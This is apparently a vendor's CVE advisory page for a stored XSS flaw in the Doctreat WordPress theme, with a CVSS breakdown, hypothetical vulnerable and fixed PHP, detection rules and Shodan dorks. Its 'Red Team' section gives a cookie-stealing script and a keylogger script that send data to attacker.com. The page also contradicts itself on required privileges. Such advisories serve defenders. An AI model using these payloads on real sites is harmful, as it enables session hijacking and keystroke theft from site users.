☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Amentotech logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-80
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58970

CVE-2025-58970 Code Injection in Amentotech
📅 PUBLISHED: 2025-10-22 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58970 is a stored cross-site scripting (XSS) vulnerability in the AmentoTech Doctreat WordPress theme, affecting versions up to and including 1.6.7. The vulnerability arises from improper neutralization of script-related HTML tags in a web page, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript code. This code is stored on the server and executed in the browsers of other users, including administrators, leading to session hijacking, defacement, or redirection to malicious sites. The CVSS score of 6.3 (Medium) reflects the need for user interaction and low privileges, but the impact is amplified in a WordPress ecosystem where theme vulnerabilities can affect thousands of sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme distributed via marketplaces like ThemeForest. No open-source package (NPM, PyPI, Go, Ruby) is involved. The risk is primarily to end-users who have purchased and installed the theme. The lack of a public patch or advisory from the vendor increases supply chain risk, as site owners may remain unaware of the vulnerability.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over HTTP.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply submits a crafted payload.
  • Privileges Required (PR): Low (L) – The attacker must have a WordPress user account with at least Contributor role.
  • User Interaction (UI): Required (R) – The victim must visit the page containing the injected script.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., steal admin cookies).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – No direct denial of service.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the widespread use of the theme and the lack of a patch make it a persistent threat.

Deep Dive & Mechanics

The vulnerability is a Stored XSS (CWE-80: Improper Neutralization of Script-Related HTML Tags). The Doctreat theme fails to sanitize user-supplied input in certain fields (likely profile fields, appointment notes, or custom post types) before storing it in the database. When the stored data is later rendered in a web page, the browser interprets injected HTML/JavaScript.

Attack Flow:

  1. An attacker with a Contributor account (or higher) logs into the WordPress admin.
  2. The attacker navigates to a vulnerable input field (e.g., a custom field in the theme’s doctor profile).
  3. The attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload to steal cookies.
  4. The theme stores the payload in the WordPress database without sanitization.
  5. When an administrator or other user views the affected page, the script executes in their browser.

Root Cause: The theme likely uses echo or the_content() without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable pattern.

Vulnerable Code (Hypothetical):

<?php
// In a theme template file (e.g., single-doctor.php)
$doctor_bio = get_post_meta(get_the_ID(), 'doctor_bio', true);
echo $doctor_bio; // No sanitization
?>

Patched Code (Hypothetical):

<?php
$doctor_bio = get_post_meta(get_the_ID(), 'doctor_bio', true);
echo esc_html($doctor_bio); // Sanitized output
?>

The patched version uses esc_html() to convert HTML tags to their entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site running Doctreat <= 1.6.7.
  • A user account with Contributor role or higher.

Exploit Steps:

  1. Log in to the WordPress admin panel.
  2. Navigate to a vulnerable input field (e.g., "Doctor Bio" or "Appointment Notes").
  3. Inject the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the content.
  5. Wait for an administrator to view the page, or send a crafted link to the admin.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection:

  • Monitor for unusual input in theme-specific fields (e.g., <script>, onerror=, javascript:).
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Review server logs for requests to suspicious external domains from the WordPress admin.

Mitigation:

  • Apply a virtual patch via WAF rules.
  • Disable the vulnerable theme feature until a patch is released.
  • Restrict user roles to minimize the number of contributors.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to domains not related to the WordPress site (e.g., attacker.com).
  • File: Modified database entries containing <script> tags in theme-specific fields.
  • Log: WordPress debug log entries showing unexpected output in theme templates.
  • Behavior: Unexpected redirects or pop-ups when viewing doctor profiles or appointment pages.

Detection Engineering

YARA Rule

rule CVE_2025_58970_Doctreat_XSS {
    meta:
        description = "Detects stored XSS payloads in Doctreat theme database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58970"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?javascript:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-58970 Doctreat Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in WordPress Doctreat theme fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/post.php'
        cs-uri-query|re: 'action=.*doctreat.*'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in theme fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58970 Doctreat Stored XSS Payload Outbound"; flow:to_server,established; content:"<script"; http_client_body; nocase; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the vulnerable theme feature (e.g., custom fields for doctor profiles) until a patch is available.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to theme-specific endpoints.
  3. Long-term: Contact AmentoTech for a patched version. If no patch is forthcoming, consider migrating to an alternative theme.
  4. User Education: Train content contributors to avoid pasting raw HTML into theme fields.
  5. Monitoring: Enable WordPress audit logging and monitor for suspicious activity in theme-related database tables.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Doctreat"
http.html:"wp-content/themes/doctreat"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58970/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.